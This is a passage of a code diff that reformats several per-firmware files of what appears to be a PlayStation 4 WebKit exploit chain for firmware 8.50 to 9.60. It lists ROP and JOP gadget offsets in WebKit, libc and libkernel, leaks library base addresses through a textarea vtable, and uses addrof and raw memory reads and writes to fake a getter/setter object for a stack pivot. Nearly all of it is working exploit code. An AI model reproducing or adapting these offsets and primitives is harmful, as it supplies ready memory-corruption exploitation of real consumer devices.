@@ -217,7 +215,7 @@ export function init(Chain) {
|
|||||||
init_gadget_map(gadgets, libkernel_gadget_offsets, libkernel_base);
|
init_gadget_map(gadgets, libkernel_gadget_offsets, libkernel_base);
|
||||||
init_syscall_array(syscall_array, libkernel_base, 300 * KB);
|
init_syscall_array(syscall_array, libkernel_base, 300 * KB);
|
||||||
|
|
||||||
let gs = Object.getOwnPropertyDescriptor(window, 'location').set;
|
let gs = Object.getOwnPropertyDescriptor(window, "location").set;
|
||||||
// JSCustomGetterSetter.m_getterSetter
|
// JSCustomGetterSetter.m_getterSetter
|
||||||
gs = mem.addrof(gs).readp(0x28);
|
gs = mem.addrof(gs).readp(0x28);
|
||||||
|
|
||||||
@@ -236,7 +234,12 @@ export function init(Chain) {
|
|||||||
//
|
//
|
||||||
// the butterfly's indexing type must be something the GC won't inspect
|
// the butterfly's indexing type must be something the GC won't inspect
|
||||||
// like DoubleShape. it will be used to store the JOP table's pointer
|
// like DoubleShape. it will be used to store the JOP table's pointer
|
||||||
const _rop = {get launch() {throw Error('never call')}, 0: 1.1};
|
const _rop = {
|
||||||
|
get launch() {
|
||||||
|
throw Error("never call");
|
||||||
|
},
|
||||||
|
0: 1.1,
|
||||||
|
};
|
||||||
// replace .launch with the actual custom getter/setter
|
// replace .launch with the actual custom getter/setter
|
||||||
mem.addrof(_rop).write64(off.js_inline_prop, gc_buf);
|
mem.addrof(_rop).write64(off.js_inline_prop, gc_buf);
|
||||||
proto._rop = _rop;
|
proto._rop = _rop;
|
||||||
|
|||||||
@@ -17,18 +17,14 @@ along with this program. If not, see <https://www.gnu.org/licenses/>. */
|
|||||||
|
|
||||||
// 8.50, 8.52
|
// 8.50, 8.52
|
||||||
|
|
||||||
import { mem } from '../../module/mem.mjs';
|
import { mem } from "../../module/mem.mjs";
|
||||||
import { KB } from '../../module/offset.mjs';
|
import { KB } from "../../module/offset.mjs";
|
||||||
import { ChainBase, get_gadget } from '../../module/chain.mjs';
|
import { ChainBase, get_gadget } from "../../module/chain.mjs";
|
||||||
import { BufferView } from '../../module/rw.mjs';
|
import { BufferView } from "../../module/rw.mjs";
|
||||||
|
|
||||||
import {
|
import { get_view_vector, resolve_import, init_syscall_array } from "../../module/memtools.mjs";
|
||||||
get_view_vector,
|
|
||||||
resolve_import,
|
|
||||||
init_syscall_array,
|
|
||||||
} from '../../module/memtools.mjs';
|
|
||||||
|
|
||||||
import * as off from '../../module/offset.mjs';
|
import * as off from "../../module/offset.mjs";
|
||||||
|
|
||||||
// WebKit offsets of imported functions
|
// WebKit offsets of imported functions
|
||||||
const offset_wk_stack_chk_fail = 0x8d8;
|
const offset_wk_stack_chk_fail = 0x8d8;
|
||||||
@@ -68,7 +64,7 @@ push rdx
|
|||||||
mov edi, 0xac9784fe
|
mov edi, 0xac9784fe
|
||||||
jmp qword ptr [rax]
|
jmp qword ptr [rax]
|
||||||
`;
|
`;
|
||||||
const jop5 = 'pop rsp; ret';
|
const jop5 = "pop rsp; ret";
|
||||||
|
|
||||||
// the ps4 firmware is compiled to use rbp as a frame pointer
|
// the ps4 firmware is compiled to use rbp as a frame pointer
|
||||||
//
|
//
|
||||||
@@ -83,56 +79,62 @@ const jop5 = 'pop rsp; ret';
|
|||||||
// mov rsp, rbp
|
// mov rsp, rbp
|
||||||
// pop rbp
|
// pop rbp
|
||||||
|
|
||||||
const webkit_gadget_offsets = new Map(Object.entries({
|
const webkit_gadget_offsets = new Map(
|
||||||
'pop rax; ret' : 0x000000000001ac7b, // `58 c3`
|
Object.entries({
|
||||||
'pop rbx; ret' : 0x000000000000c46d, // `5b c3`
|
"pop rax; ret": 0x000000000001ac7b, // `58 c3`
|
||||||
'pop rcx; ret' : 0x000000000001ac5f, // `59 c3`
|
"pop rbx; ret": 0x000000000000c46d, // `5b c3`
|
||||||
'pop rdx; ret' : 0x0000000000282ea2, // `5a c3`
|
"pop rcx; ret": 0x000000000001ac5f, // `59 c3`
|
||||||
|
"pop rdx; ret": 0x0000000000282ea2, // `5a c3`
|
||||||
|
|
||||||
'pop rbp; ret' : 0x00000000000000b6, // `5d c3`
|
"pop rbp; ret": 0x00000000000000b6, // `5d c3`
|
||||||
'pop rsi; ret' : 0x0000000000050878, // `5e c3`
|
"pop rsi; ret": 0x0000000000050878, // `5e c3`
|
||||||
'pop rdi; ret' : 0x0000000000091afa, // `5f c3`
|
"pop rdi; ret": 0x0000000000091afa, // `5f c3`
|
||||||
'pop rsp; ret' : 0x0000000000073c2b, // `5c c3`
|
"pop rsp; ret": 0x0000000000073c2b, // `5c c3`
|
||||||
|
|
||||||
'pop r8; ret' : 0x000000000003b4b3, // `47 58 c3`
|
"pop r8; ret": 0x000000000003b4b3, // `47 58 c3`
|
||||||
'pop r9; ret' : 0x00000000010f372f, // `47 59 c3`
|
"pop r9; ret": 0x00000000010f372f, // `47 59 c3`
|
||||||
'pop r10; ret' : 0x0000000000b1a721, // `47 5a c3`
|
"pop r10; ret": 0x0000000000b1a721, // `47 5a c3`
|
||||||
'pop r11; ret' : 0x0000000000eaba69, // `4f 5b c3`
|
"pop r11; ret": 0x0000000000eaba69, // `4f 5b c3`
|
||||||
|
|
||||||
'pop r12; ret' : 0x0000000000eaf80d, // `47 5c c3`
|
"pop r12; ret": 0x0000000000eaf80d, // `47 5c c3`
|
||||||
'pop r13; ret' : 0x00000000019a0d8b, // `41 5d c3`
|
"pop r13; ret": 0x00000000019a0d8b, // `41 5d c3`
|
||||||
'pop r14; ret' : 0x0000000000050877, // `41 5e c3`
|
"pop r14; ret": 0x0000000000050877, // `41 5e c3`
|
||||||
'pop r15; ret' : 0x00000000007e2efd, // `47 5f c3`
|
"pop r15; ret": 0x00000000007e2efd, // `47 5f c3`
|
||||||
|
|
||||||
'ret' : 0x0000000000000032, // `c3`
|
"ret": 0x0000000000000032, // `c3`
|
||||||
'leave; ret' : 0x000000000001ba53, // `c9 c3`
|
"leave; ret": 0x000000000001ba53, // `c9 c3`
|
||||||
|
|
||||||
'mov rax, qword ptr [rax]; ret' : 0x000000000003734c, // `48 8b 00 c3`
|
"mov rax, qword ptr [rax]; ret": 0x000000000003734c, // `48 8b 00 c3`
|
||||||
'mov qword ptr [rdi], rax; ret' : 0x000000000001433b, // `48 89 07 c3`
|
"mov qword ptr [rdi], rax; ret": 0x000000000001433b, // `48 89 07 c3`
|
||||||
'mov dword ptr [rdi], eax; ret' : 0x0000000000008e7f, // `89 07 c3`
|
"mov dword ptr [rdi], eax; ret": 0x0000000000008e7f, // `89 07 c3`
|
||||||
'mov dword ptr [rax], esi; ret' : 0x0000000000cf6c22, // `89 30 c3`
|
"mov dword ptr [rax], esi; ret": 0x0000000000cf6c22, // `89 30 c3`
|
||||||
|
|
||||||
[jop1]: 0x0000000000000000, // ``
|
[jop1]: 0x0000000000000000, // ``
|
||||||
[jop2]: 0x0000000000000000, // ``
|
[jop2]: 0x0000000000000000, // ``
|
||||||
[jop3]: 0x0000000000000000, // ``
|
[jop3]: 0x0000000000000000, // ``
|
||||||
[jop4]: 0x0000000000000000, // ``
|
[jop4]: 0x0000000000000000, // ``
|
||||||
[jop5]: 0x0000000000000000, // ``
|
[jop5]: 0x0000000000000000, // ``
|
||||||
}));
|
}),
|
||||||
|
);
|
||||||
|
|
||||||
const libc_gadget_offsets = new Map(Object.entries({
|
const libc_gadget_offsets = new Map(
|
||||||
'getcontext' : 0x25904,
|
Object.entries({
|
||||||
'setcontext' : 0x29c38,
|
"getcontext": 0x25904,
|
||||||
}));
|
"setcontext": 0x29c38,
|
||||||
|
}),
|
||||||
|
);
|
||||||
|
|
||||||
const libkernel_gadget_offsets = new Map(Object.entries({
|
const libkernel_gadget_offsets = new Map(
|
||||||
|
Object.entries({
|
||||||
// returns the location of errno
|
// returns the location of errno
|
||||||
'__error' : 0x10750,
|
"__error": 0x10750,
|
||||||
}));
|
}),
|
||||||
|
);
|
||||||
|
|
||||||
export const gadgets = new Map();
|
export const gadgets = new Map();
|
||||||
|
|
||||||
function get_bases() {
|
function get_bases() {
|
||||||
const textarea = document.createElement('textarea');
|
const textarea = document.createElement("textarea");
|
||||||
const webcore_textarea = mem.addrof(textarea).readp(off.jsta_impl);
|
const webcore_textarea = mem.addrof(textarea).readp(off.jsta_impl);
|
||||||
const textarea_vtable = webcore_textarea.readp(0);
|
const textarea_vtable = webcore_textarea.readp(0);
|
||||||
const off_ta_vt = 0x236d4a0;
|
const off_ta_vt = 0x236d4a0;
|
||||||
@@ -148,11 +150,7 @@ function get_bases() {
|
|||||||
const off_strlen = 0x4ef40;
|
const off_strlen = 0x4ef40;
|
||||||
const libc_base = strlen_addr.sub(off_strlen);
|
const libc_base = strlen_addr.sub(off_strlen);
|
||||||
|
|
||||||
return [
|
return [libwebkit_base, libkernel_base, libc_base];
|
||||||
libwebkit_base,
|
|
||||||
libkernel_base,
|
|
||||||
libc_base,
|
|
||||||
];
|
|
||||||
}
|
}
|
||||||
|
|
||||||
export function init_gadget_map(gadget_map, offset_map, base_addr) {
|
export function init_gadget_map(gadget_map, offset_map, base_addr) {
|
||||||
@@ -163,30 +161,30 @@ export function init_gadget_map(gadget_map, offset_map, base_addr) {
|
|||||||
|
|
||||||
class Chain850Base extends ChainBase {
|
class Chain850Base extends ChainBase {
|
||||||
push_end() {
|
push_end() {
|
||||||
this.push_gadget('leave; ret');
|
this.push_gadget("leave; ret");
|
||||||
}
|
}
|
||||||
|
|
||||||
push_get_retval() {
|
push_get_retval() {
|
||||||
this.push_gadget('pop rdi; ret');
|
this.push_gadget("pop rdi; ret");
|
||||||
this.push_value(this.retval_addr);
|
this.push_value(this.retval_addr);
|
||||||
this.push_gadget('mov qword ptr [rdi], rax; ret');
|
this.push_gadget("mov qword ptr [rdi], rax; ret");
|
||||||
}
|
}
|
||||||
|
|
||||||
push_get_errno() {
|
push_get_errno() {
|
||||||
this.push_gadget('pop rdi; ret');
|
this.push_gadget("pop rdi; ret");
|
||||||
this.push_value(this.errno_addr);
|
this.push_value(this.errno_addr);
|
||||||
|
|
||||||
this.push_call(this.get_gadget('__error'));
|
this.push_call(this.get_gadget("__error"));
|
||||||
|
|
||||||
this.push_gadget('mov rax, qword ptr [rax]; ret');
|
this.push_gadget("mov rax, qword ptr [rax]; ret");
|
||||||
this.push_gadget('mov dword ptr [rdi], eax; ret');
|
this.push_gadget("mov dword ptr [rdi], eax; ret");
|
||||||
}
|
}
|
||||||
|
|
||||||
push_clear_errno() {
|
push_clear_errno() {
|
||||||
this.push_call(this.get_gadget('__error'));
|
this.push_call(this.get_gadget("__error"));
|
||||||
this.push_gadget('pop rsi; ret');
|
this.push_gadget("pop rsi; ret");
|
||||||
this.push_value(0);
|
this.push_value(0);
|
||||||
this.push_gadget('mov dword ptr [rax], esi; ret');
|
this.push_gadget("mov dword ptr [rax], esi; ret");
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -217,7 +215,7 @@ export function init(Chain) {
|
|||||||
init_gadget_map(gadgets, libkernel_gadget_offsets, libkernel_base);
|
init_gadget_map(gadgets, libkernel_gadget_offsets, libkernel_base);
|
||||||
init_syscall_array(syscall_array, libkernel_base, 300 * KB);
|
init_syscall_array(syscall_array, libkernel_base, 300 * KB);
|
||||||
|
|
||||||
let gs = Object.getOwnPropertyDescriptor(window, 'location').set;
|
let gs = Object.getOwnPropertyDescriptor(window, "location").set;
|
||||||
// JSCustomGetterSetter.m_getterSetter
|
// JSCustomGetterSetter.m_getterSetter
|
||||||
gs = mem.addrof(gs).readp(0x28);
|
gs = mem.addrof(gs).readp(0x28);
|
||||||
|
|
||||||
@@ -236,7 +234,12 @@ export function init(Chain) {
|
|||||||
//
|
//
|
||||||
// the butterfly's indexing type must be something the GC won't inspect
|
// the butterfly's indexing type must be something the GC won't inspect
|
||||||
// like DoubleShape. it will be used to store the JOP table's pointer
|
// like DoubleShape. it will be used to store the JOP table's pointer
|
||||||
const _rop = {get launch() {throw Error('never call')}, 0: 1.1};
|
const _rop = {
|
||||||
|
get launch() {
|
||||||
|
throw Error("never call");
|
||||||
|
},
|
||||||
|
0: 1.1,
|
||||||
|
};
|
||||||
// replace .launch with the actual custom getter/setter
|
// replace .launch with the actual custom getter/setter
|
||||||
mem.addrof(_rop).write64(off.js_inline_prop, gc_buf);
|
mem.addrof(_rop).write64(off.js_inline_prop, gc_buf);
|
||||||
proto._rop = _rop;
|
proto._rop = _rop;
|
||||||
|
|||||||
@@ -17,18 +17,14 @@ along with this program. If not, see <https://www.gnu.org/licenses/>. */
|
|||||||
|
|
||||||
// 9.00, 9.03, 9.04
|
// 9.00, 9.03, 9.04
|
||||||
|
|
||||||
import { mem } from '../../module/mem.mjs';
|
import { mem } from "../../module/mem.mjs";
|
||||||
import { KB } from '../../module/offset.mjs';
|
import { KB } from "../../module/offset.mjs";
|
||||||
import { ChainBase, get_gadget } from '../../module/chain.mjs';
|
import { ChainBase, get_gadget } from "../../module/chain.mjs";
|
||||||
import { BufferView } from '../../module/rw.mjs';
|
import { BufferView } from "../../module/rw.mjs";
|
||||||
|
|
||||||
import {
|
import { get_view_vector, resolve_import, init_syscall_array } from "../../module/memtools.mjs";
|
||||||
get_view_vector,
|
|
||||||
resolve_import,
|
|
||||||
init_syscall_array,
|
|
||||||
} from '../../module/memtools.mjs';
|
|
||||||
|
|
||||||
import * as off from '../../module/offset.mjs';
|
import * as off from "../../module/offset.mjs";
|
||||||
|
|
||||||
// WebKit offsets of imported functions
|
// WebKit offsets of imported functions
|
||||||
const offset_wk_stack_chk_fail = 0x178;
|
const offset_wk_stack_chk_fail = 0x178;
|
||||||
@@ -68,7 +64,7 @@ push rdx
|
|||||||
mov edi, 0xac9784fe
|
mov edi, 0xac9784fe
|
||||||
jmp qword ptr [rax]
|
jmp qword ptr [rax]
|
||||||
`;
|
`;
|
||||||
const jop5 = 'pop rsp; ret';
|
const jop5 = "pop rsp; ret";
|
||||||
|
|
||||||
// the ps4 firmware is compiled to use rbp as a frame pointer
|
// the ps4 firmware is compiled to use rbp as a frame pointer
|
||||||
//
|
//
|
||||||
@@ -83,56 +79,62 @@ const jop5 = 'pop rsp; ret';
|
|||||||
// mov rsp, rbp
|
// mov rsp, rbp
|
||||||
// pop rbp
|
// pop rbp
|
||||||
|
|
||||||
const webkit_gadget_offsets = new Map(Object.entries({
|
const webkit_gadget_offsets = new Map(
|
||||||
'pop rax; ret' : 0x0000000000051a12, // `58 c3`
|
Object.entries({
|
||||||
'pop rbx; ret' : 0x00000000000be5d0, // `5b c3`
|
"pop rax; ret": 0x0000000000051a12, // `58 c3`
|
||||||
'pop rcx; ret' : 0x00000000000657b7, // `59 c3`
|
"pop rbx; ret": 0x00000000000be5d0, // `5b c3`
|
||||||
'pop rdx; ret' : 0x000000000000986c, // `5a c3`
|
"pop rcx; ret": 0x00000000000657b7, // `59 c3`
|
||||||
|
"pop rdx; ret": 0x000000000000986c, // `5a c3`
|
||||||
|
|
||||||
'pop rbp; ret' : 0x00000000000000b6, // `5d c3`
|
"pop rbp; ret": 0x00000000000000b6, // `5d c3`
|
||||||
'pop rsi; ret' : 0x000000000001f4d6, // `5e c3`
|
"pop rsi; ret": 0x000000000001f4d6, // `5e c3`
|
||||||
'pop rdi; ret' : 0x0000000000319690, // `5f c3`
|
"pop rdi; ret": 0x0000000000319690, // `5f c3`
|
||||||
'pop rsp; ret' : 0x000000000004e293, // `5c c3`
|
"pop rsp; ret": 0x000000000004e293, // `5c c3`
|
||||||
|
|
||||||
'pop r8; ret' : 0x00000000001a7ef1, // `47 58 c3`
|
"pop r8; ret": 0x00000000001a7ef1, // `47 58 c3`
|
||||||
'pop r9; ret' : 0x0000000000422571, // `47 59 c3`
|
"pop r9; ret": 0x0000000000422571, // `47 59 c3`
|
||||||
'pop r10; ret' : 0x0000000000e9e1d1, // `47 5a c3`
|
"pop r10; ret": 0x0000000000e9e1d1, // `47 5a c3`
|
||||||
'pop r11; ret' : 0x00000000012b1d51, // `47 5b c3`
|
"pop r11; ret": 0x00000000012b1d51, // `47 5b c3`
|
||||||
|
|
||||||
'pop r12; ret' : 0x000000000085ec71, // `47 5c c3`
|
"pop r12; ret": 0x000000000085ec71, // `47 5c c3`
|
||||||
'pop r13; ret' : 0x00000000001da461, // `47 5d c3`
|
"pop r13; ret": 0x00000000001da461, // `47 5d c3`
|
||||||
'pop r14; ret' : 0x0000000000685d73, // `47 5e c3`
|
"pop r14; ret": 0x0000000000685d73, // `47 5e c3`
|
||||||
'pop r15; ret' : 0x00000000006ab3aa, // `47 5f c3`
|
"pop r15; ret": 0x00000000006ab3aa, // `47 5f c3`
|
||||||
|
|
||||||
'ret' : 0x0000000000000032, // `c3`
|
"ret": 0x0000000000000032, // `c3`
|
||||||
'leave; ret' : 0x000000000008db5b, // `c9 c3`
|
"leave; ret": 0x000000000008db5b, // `c9 c3`
|
||||||
|
|
||||||
'mov rax, qword ptr [rax]; ret' : 0x00000000000241cc, // `48 8b 00 c3`
|
"mov rax, qword ptr [rax]; ret": 0x00000000000241cc, // `48 8b 00 c3`
|
||||||
'mov qword ptr [rdi], rax; ret' : 0x000000000000613b, // `48 89 07 c3`
|
"mov qword ptr [rdi], rax; ret": 0x000000000000613b, // `48 89 07 c3`
|
||||||
'mov dword ptr [rdi], eax; ret' : 0x000000000000613c, // `89 07 c3`
|
"mov dword ptr [rdi], eax; ret": 0x000000000000613c, // `89 07 c3`
|
||||||
'mov dword ptr [rax], esi; ret' : 0x00000000005c3482, // `89 30 c3`
|
"mov dword ptr [rax], esi; ret": 0x00000000005c3482, // `89 30 c3`
|
||||||
|
|
||||||
[jop1]: 0x0000000000000000, // ``
|
[jop1]: 0x0000000000000000, // ``
|
||||||
[jop2]: 0x0000000000000000, // ``
|
[jop2]: 0x0000000000000000, // ``
|
||||||
[jop3]: 0x0000000000000000, // ``
|
[jop3]: 0x0000000000000000, // ``
|
||||||
[jop4]: 0x0000000000000000, // ``
|
[jop4]: 0x0000000000000000, // ``
|
||||||
[jop5]: 0x0000000000000000, // ``
|
[jop5]: 0x0000000000000000, // ``
|
||||||
}));
|
}),
|
||||||
|
);
|
||||||
|
|
||||||
const libc_gadget_offsets = new Map(Object.entries({
|
const libc_gadget_offsets = new Map(
|
||||||
'getcontext' : 0x24f04,
|
Object.entries({
|
||||||
'setcontext' : 0x29448,
|
"getcontext": 0x24f04,
|
||||||
}));
|
"setcontext": 0x29448,
|
||||||
|
}),
|
||||||
|
);
|
||||||
|
|
||||||
const libkernel_gadget_offsets = new Map(Object.entries({
|
const libkernel_gadget_offsets = new Map(
|
||||||
|
Object.entries({
|
||||||
// returns the location of errno
|
// returns the location of errno
|
||||||
'__error' : 0xCB80,
|
"__error": 0xcb80,
|
||||||
}));
|
}),
|
||||||
|
);
|
||||||
|
|
||||||
export const gadgets = new Map();
|
export const gadgets = new Map();
|
||||||
|
|
||||||
function get_bases() {
|
function get_bases() {
|
||||||
const textarea = document.createElement('textarea');
|
const textarea = document.createElement("textarea");
|
||||||
const webcore_textarea = mem.addrof(textarea).readp(off.jsta_impl);
|
const webcore_textarea = mem.addrof(textarea).readp(off.jsta_impl);
|
||||||
const textarea_vtable = webcore_textarea.readp(0);
|
const textarea_vtable = webcore_textarea.readp(0);
|
||||||
const off_ta_vt = 0x2e73c18;
|
const off_ta_vt = 0x2e73c18;
|
||||||
@@ -148,11 +150,7 @@ function get_bases() {
|
|||||||
const off_strlen = 0x4fa40;
|
const off_strlen = 0x4fa40;
|
||||||
const libc_base = strlen_addr.sub(off_strlen);
|
const libc_base = strlen_addr.sub(off_strlen);
|
||||||
|
|
||||||
return [
|
return [libwebkit_base, libkernel_base, libc_base];
|
||||||
libwebkit_base,
|
|
||||||
libkernel_base,
|
|
||||||
libc_base,
|
|
||||||
];
|
|
||||||
}
|
}
|
||||||
|
|
||||||
export function init_gadget_map(gadget_map, offset_map, base_addr) {
|
export function init_gadget_map(gadget_map, offset_map, base_addr) {
|
||||||
@@ -163,30 +161,30 @@ export function init_gadget_map(gadget_map, offset_map, base_addr) {
|
|||||||
|
|
||||||
class Chain900Base extends ChainBase {
|
class Chain900Base extends ChainBase {
|
||||||
push_end() {
|
push_end() {
|
||||||
this.push_gadget('leave; ret');
|
this.push_gadget("leave; ret");
|
||||||
}
|
}
|
||||||
|
|
||||||
push_get_retval() {
|
push_get_retval() {
|
||||||
this.push_gadget('pop rdi; ret');
|
this.push_gadget("pop rdi; ret");
|
||||||
this.push_value(this.retval_addr);
|
this.push_value(this.retval_addr);
|
||||||
this.push_gadget('mov qword ptr [rdi], rax; ret');
|
this.push_gadget("mov qword ptr [rdi], rax; ret");
|
||||||
}
|
}
|
||||||
|
|
||||||
push_get_errno() {
|
push_get_errno() {
|
||||||
this.push_gadget('pop rdi; ret');
|
this.push_gadget("pop rdi; ret");
|
||||||
this.push_value(this.errno_addr);
|
this.push_value(this.errno_addr);
|
||||||
|
|
||||||
this.push_call(this.get_gadget('__error'));
|
this.push_call(this.get_gadget("__error"));
|
||||||
|
|
||||||
this.push_gadget('mov rax, qword ptr [rax]; ret');
|
this.push_gadget("mov rax, qword ptr [rax]; ret");
|
||||||
this.push_gadget('mov dword ptr [rdi], eax; ret');
|
this.push_gadget("mov dword ptr [rdi], eax; ret");
|
||||||
}
|
}
|
||||||
|
|
||||||
push_clear_errno() {
|
push_clear_errno() {
|
||||||
this.push_call(this.get_gadget('__error'));
|
this.push_call(this.get_gadget("__error"));
|
||||||
this.push_gadget('pop rsi; ret');
|
this.push_gadget("pop rsi; ret");
|
||||||
this.push_value(0);
|
this.push_value(0);
|
||||||
this.push_gadget('mov dword ptr [rax], esi; ret');
|
this.push_gadget("mov dword ptr [rax], esi; ret");
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -217,7 +215,7 @@ export function init(Chain) {
|
|||||||
init_gadget_map(gadgets, libkernel_gadget_offsets, libkernel_base);
|
init_gadget_map(gadgets, libkernel_gadget_offsets, libkernel_base);
|
||||||
init_syscall_array(syscall_array, libkernel_base, 300 * KB);
|
init_syscall_array(syscall_array, libkernel_base, 300 * KB);
|
||||||
|
|
||||||
let gs = Object.getOwnPropertyDescriptor(window, 'location').set;
|
let gs = Object.getOwnPropertyDescriptor(window, "location").set;
|
||||||
// JSCustomGetterSetter.m_getterSetter
|
// JSCustomGetterSetter.m_getterSetter
|
||||||
gs = mem.addrof(gs).readp(0x28);
|
gs = mem.addrof(gs).readp(0x28);
|
||||||
|
|
||||||
@@ -236,7 +234,12 @@ export function init(Chain) {
|
|||||||
//
|
//
|
||||||
// the butterfly's indexing type must be something the GC won't inspect
|
// the butterfly's indexing type must be something the GC won't inspect
|
||||||
// like DoubleShape. it will be used to store the JOP table's pointer
|
// like DoubleShape. it will be used to store the JOP table's pointer
|
||||||
const _rop = {get launch() {throw Error('never call')}, 0: 1.1};
|
const _rop = {
|
||||||
|
get launch() {
|
||||||
|
throw Error("never call");
|
||||||
|
},
|
||||||
|
0: 1.1,
|
||||||
|
};
|
||||||
// replace .launch with the actual custom getter/setter
|
// replace .launch with the actual custom getter/setter
|
||||||
mem.addrof(_rop).write64(off.js_inline_prop, gc_buf);
|
mem.addrof(_rop).write64(off.js_inline_prop, gc_buf);
|
||||||
proto._rop = _rop;
|
proto._rop = _rop;
|
||||||
|
|||||||
@@ -17,18 +17,14 @@ along with this program. If not, see <https://www.gnu.org/licenses/>. */
|
|||||||
|
|
||||||
// 9.50, 9.51, 9.60
|
// 9.50, 9.51, 9.60
|
||||||
|
|
||||||
import { mem } from '../../module/mem.mjs';
|
import { mem } from "../../module/mem.mjs";
|
||||||
import { KB } from '../../module/offset.mjs';
|
import { KB } from "../../module/offset.mjs";
|
||||||
import { ChainBase, get_gadget } from '../../module/chain.mjs';
|
import { ChainBase, get_gadget } from "../../module/chain.mjs";
|
||||||
import { BufferView } from '../../module/rw.mjs';
|
import { BufferView } from "../../module/rw.mjs";
|
||||||
|
|
||||||
import {
|
import { get_view_vector, resolve_import, init_syscall_array } from "../../module/memtools.mjs";
|
||||||
get_view_vector,
|
|
||||||
resolve_import,
|
|
||||||
init_syscall_array,
|
|
||||||
} from '../../module/memtools.mjs';
|
|
||||||
|
|
||||||
import * as off from '../../module/offset.mjs';
|
import * as off from "../../module/offset.mjs";
|
||||||
|
|
||||||
// WebKit offsets of imported functions
|
// WebKit offsets of imported functions
|
||||||
const offset_wk_stack_chk_fail = 0x178;
|
const offset_wk_stack_chk_fail = 0x178;
|
||||||
@@ -68,7 +64,7 @@ push rdx
|
|||||||
mov edi, 0xac9784fe
|
mov edi, 0xac9784fe
|
||||||
jmp qword ptr [rax]
|
jmp qword ptr [rax]
|
||||||
`;
|
`;
|
||||||
const jop5 = 'pop rsp; ret';
|
const jop5 = "pop rsp; ret";
|
||||||
|
|
||||||
// the ps4 firmware is compiled to use rbp as a frame pointer
|
// the ps4 firmware is compiled to use rbp as a frame pointer
|
||||||
//
|
//
|
||||||
@@ -83,57 +79,63 @@ const jop5 = 'pop rsp; ret';
|
|||||||
// mov rsp, rbp
|
// mov rsp, rbp
|
||||||
// pop rbp
|
// pop rbp
|
||||||
|
|
||||||
const webkit_gadget_offsets = new Map(Object.entries({
|
const webkit_gadget_offsets = new Map(
|
||||||
'pop rax; ret' : 0x0000000000011c46, // `58 c3`
|
Object.entries({
|
||||||
'pop rbx; ret' : 0x0000000000013730, // `5b c3`
|
"pop rax; ret": 0x0000000000011c46, // `58 c3`
|
||||||
'pop rcx; ret' : 0x0000000000035a1e, // `59 c3`
|
"pop rbx; ret": 0x0000000000013730, // `5b c3`
|
||||||
'pop rdx; ret' : 0x000000000018de52, // `5a c3`
|
"pop rcx; ret": 0x0000000000035a1e, // `59 c3`
|
||||||
|
"pop rdx; ret": 0x000000000018de52, // `5a c3`
|
||||||
|
|
||||||
'pop rbp; ret' : 0x00000000000000b6, // `5d c3`
|
"pop rbp; ret": 0x00000000000000b6, // `5d c3`
|
||||||
'pop rsi; ret' : 0x0000000000092a8c, // `5e c3`
|
"pop rsi; ret": 0x0000000000092a8c, // `5e c3`
|
||||||
'pop rdi; ret' : 0x000000000005d19d, // `5f c3`
|
"pop rdi; ret": 0x000000000005d19d, // `5f c3`
|
||||||
'pop rsp; ret' : 0x00000000000253e0, // `5c c3`
|
"pop rsp; ret": 0x00000000000253e0, // `5c c3`
|
||||||
|
|
||||||
'pop r8; ret' : 0x000000000003fe32, // `47 58 c3`
|
"pop r8; ret": 0x000000000003fe32, // `47 58 c3`
|
||||||
'pop r9; ret' : 0x0000000000aaad51, // `47 59 c3`
|
"pop r9; ret": 0x0000000000aaad51, // `47 59 c3`
|
||||||
// Not found in 9.50-9.60, but not currently used in exploit
|
// Not found in 9.50-9.60, but not currently used in exploit
|
||||||
// 'pop r10; ret' : 0x0000000000000000, // `4(1,3,5,7,9,b,d,f) 5a c3`
|
// "pop r10; ret" : 0x0000000000000000, // `4(1,3,5,7,9,b,d,f) 5a c3`
|
||||||
'pop r11; ret' : 0x0000000001833a21, // `47 5b c3`
|
"pop r11; ret": 0x0000000001833a21, // `47 5b c3`
|
||||||
|
|
||||||
'pop r12; ret' : 0x0000000000420ad1, // `47 5c c3`
|
"pop r12; ret": 0x0000000000420ad1, // `47 5c c3`
|
||||||
'pop r13; ret' : 0x00000000018fc4c1, // `47 5d c3`
|
"pop r13; ret": 0x00000000018fc4c1, // `47 5d c3`
|
||||||
'pop r14; ret' : 0x000000000028c900, // `41 5e c3`
|
"pop r14; ret": 0x000000000028c900, // `41 5e c3`
|
||||||
'pop r15; ret' : 0x0000000001437c8a, // `47 5f c3`
|
"pop r15; ret": 0x0000000001437c8a, // `47 5f c3`
|
||||||
|
|
||||||
'ret' : 0x0000000000000032, // `c3`
|
"ret": 0x0000000000000032, // `c3`
|
||||||
'leave; ret' : 0x0000000000056322, // `c9 c3`
|
"leave; ret": 0x0000000000056322, // `c9 c3`
|
||||||
|
|
||||||
'mov rax, qword ptr [rax]; ret' : 0x000000000000c671, // `48 8b 00 c3`
|
"mov rax, qword ptr [rax]; ret": 0x000000000000c671, // `48 8b 00 c3`
|
||||||
'mov qword ptr [rdi], rax; ret' : 0x0000000000010c07, // `48 89 07 c3`
|
"mov qword ptr [rdi], rax; ret": 0x0000000000010c07, // `48 89 07 c3`
|
||||||
'mov dword ptr [rdi], eax; ret' : 0x00000000000071d0, // `89 07 c3`
|
"mov dword ptr [rdi], eax; ret": 0x00000000000071d0, // `89 07 c3`
|
||||||
'mov dword ptr [rax], esi; ret' : 0x000000000007ebd8, // `89 30 c3`
|
"mov dword ptr [rax], esi; ret": 0x000000000007ebd8, // `89 30 c3`
|
||||||
|
|
||||||
[jop1]: 0x0000000000000000, // ``
|
[jop1]: 0x0000000000000000, // ``
|
||||||
[jop2]: 0x0000000000000000, // ``
|
[jop2]: 0x0000000000000000, // ``
|
||||||
[jop3]: 0x0000000000000000, // ``
|
[jop3]: 0x0000000000000000, // ``
|
||||||
[jop4]: 0x0000000000000000, // ``
|
[jop4]: 0x0000000000000000, // ``
|
||||||
[jop5]: 0x0000000000000000, // ``
|
[jop5]: 0x0000000000000000, // ``
|
||||||
}));
|
}),
|
||||||
|
);
|
||||||
|
|
||||||
const libc_gadget_offsets = new Map(Object.entries({
|
const libc_gadget_offsets = new Map(
|
||||||
'getcontext' : 0x21284,
|
Object.entries({
|
||||||
'setcontext' : 0x254dc,
|
"getcontext": 0x21284,
|
||||||
}));
|
"setcontext": 0x254dc,
|
||||||
|
}),
|
||||||
|
);
|
||||||
|
|
||||||
const libkernel_gadget_offsets = new Map(Object.entries({
|
const libkernel_gadget_offsets = new Map(
|
||||||
|
Object.entries({
|
||||||
// returns the location of errno
|
// returns the location of errno
|
||||||
